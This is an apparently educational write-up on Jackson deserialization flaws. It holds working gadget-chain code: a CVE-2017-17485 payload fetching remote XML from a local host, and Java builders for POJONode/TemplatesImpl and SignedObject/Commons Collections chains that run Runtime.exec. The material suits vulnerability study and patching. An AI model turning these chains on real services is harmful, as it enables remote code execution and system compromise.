Understanding Jackson Deserialization Vulnerabilities
Core Dependencies
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.7.9</version>
</dependency>
Basic Data Model
public class Account {
private String identifier;
private String secret;
private Object data;
public Account() {}
public Account(String identifier, String secret, Object data) {
this.identifier = identifier;
this.secret = secret;
this.data = data;
}
// Getters and setters
public String getIdentifier() { return identifier; }
public String getSecret() { return secret; }
public Object getData() { return data; }
public void setIdentifier(String identifier) { this.identifier = identifier; }
public void setSecret(String secret) { this.secret = secret; }
public void setData(Object data) { this.data = data; }
}
Standard Serialization/Deserialization
public class SerializationDemo {
public static void main(String[] args) throws Exception {
Account account = new Account("john_doe", "secret123", new Profile());
ObjectMapper processor = new ObjectMapper();
String jsonOutput = processor.writeValueAsString(account);
System.out.println(jsonOutput);
Account reconstructed = processor.readValue(jsonOutput, Account.class);
System.out.println(reconstructed);
}
}
The ObjectMapper class from com.fasterxml.jackson.databind handles JSON processing. By default, it only deserializes basic types and explicitly specified classes.
Polymorphic Handling Solutions
Two approaches exist for managing polymorphism:
- Configuration via DefaultTyping settings
- Annotation-based approach using @JsonTypeInfo
Vulnerability Analysis Setup
public class ProfileData {
public String displayName = "DefaultUser";
}
public class VulnerabilityTest {
public static void main(String[] args) throws IOException {
Account account = new Account("admin", "password123", new ProfileData());
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
String serialized = mapper.writeValueAsString(account);
System.out.println(serialized);
Account result = mapper.readValue(serialized, Account.class);
System.out.println(result);
}
}
Processing Flow Analysis
Execution begins in _readMapAndClose, where deserializers are obtained and processing initiated. The vanillaDeserialize method iterates through JSON fields, delegating unknown fields to handleUnknownVanilla().
Instance creation occurs via newInstance(), followed by value extraction through deserialize(). The key difference between standard fields like identifier and polymorphic data fields lies in _valueTypeDeserializer handling.
For polymorphic fields, findPropertyTypeDeserializer assigns appropriate deserializers. Arrays containing type information trigger recursive _deserialize calls:
"data":["com.example.ProfileData"]
Type resolution follows this call chain:
findClass:251, TypeFactory (com.fasterxml.jackson.databind.type)
_typeFromId:68, ClassNameIdResolver (com.fasterxml.jackson.databind.jsontype.impl)
typeFromId:51, ClassNameIdResolver (com.fasterxml.jackson.databind.jsontype.impl)
After deserialization, values are assigned through corresponding setter methods (setIdentifier vs setData).
Vulnerable Conditions
Three scenarios create deserialization vulnerabilities:
ObjectMapper.enableDefaultTyping()activation- Properties annotated with
@JsonTypeInfo(Id.CLASS) - Properties annotated with
@JsonTypeInfo(Id.MINIMAL_CLASS)
Non-Object Property Exploitation
When target class constructors or setters contain vulnerable code, exploitation is possible regardless of property type.
Object Property Exploitation
Identify classes present in the target environment with vulnerable constructors or setters for successful attacks.
CVE-2017-17485: ClassPathXmlApplicationContext Chain
Affected versions:
- Jackson 2.7.x < 2.7.9.2
- Jackson 2.8.x < 2.8.11
- Jackson 2.9.x < 2.9.4
Required Dependencies
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-expression</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
Proof of Concept
["org.springframework.context.support.ClassPathXmlApplicationContext", "http://127.0.0.1:8888/exploit.xml"]
The constructor triggers XML parsing and potential remote code execution.
Native Deserialization Chains
POJONode Exploitation Chain
Starting from POJONode.toString(), the absence of this method causes inheritance traversal to parent classes. This leads to arbitrary getter method invocation through reflection, enabling connection to Templates chain getOutputProperties().
Call stack progression:
serializeAsField:688, BeanPropertyWriter
serializeFields:774, BeanSerializerBase
serialize:178, BeanSerializer
...
toString:136, BaseJsonNode
Connecting to BadAttributeValueExpException completes the chain. However, serialization issues arise due to BaseJsonNode.writeReplace() override.
Java Serialization Callback: writeReplace() takes precedence during ObjectOutputStream serialization, returning its result as the actual serialized object.
Resolution involves temporarily removing this method using javassist:
public class PayloadConstruction {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass exploitClass = pool.makeClass("Exploit");
exploitClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String payload = "Runtime.getRuntime().exec(\"calc\");";
exploitClass.makeClassInitializer().insertBefore(payload);
byte[] bytecode = exploitClass.toBytecode();
TemplatesImpl template = new TemplatesImpl();
setFieldValue(template, "_bytecodes", new byte[][]{bytecode});
setFieldValue(template, "_name", "Malicious");
CtClass baseNodeClass = pool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
baseNodeClass.removeMethod(baseNodeClass.getDeclaredMethod("writeReplace"));
baseNodeClass.toClass();
POJONode node = new POJONode(template);
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
setFieldValue(exception, "val", node);
new ObjectOutputStream(new FileOutputStream("exploit.ser")).writeObject(exception);
new ObjectInputStream(new FileInputStream("exploit.ser")).readObject();
}
}
SignedObject Secondary Deserialization
Building upon POJONode, wrapping with SignedObject enables secondary deserialization through getObject().
public class SignedObjectPayload {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass baseNodeClass = pool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
baseNodeClass.removeMethod(baseNodeClass.getDeclaredMethod("writeReplace"));
baseNodeClass.toClass();
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(new HashMap(), new String());
HashMap<Object, Object> map = new HashMap();
map.put(entry, "placeholder");
Field mapField = TiedMapEntry.class.getDeclaredField("map");
mapField.setAccessible(true);
mapField.set(entry, lazyMap);
KeyPairGenerator generator = KeyPairGenerator.getInstance("DSA");
generator.initialize(1024);
KeyPair pair = generator.generateKeyPair();
SignedObject signedObj = new SignedObject(map, pair.getPrivate(), Signature.getInstance("DSA"));
POJONode node = new POJONode(signedObj);
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
Field valField = exception.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(exception, node);
new ObjectOutputStream(new FileOutputStream("signed.ser")).writeObject(exception);
new ObjectInputStream(new FileInputStream("signed.ser")).readObject();
}
}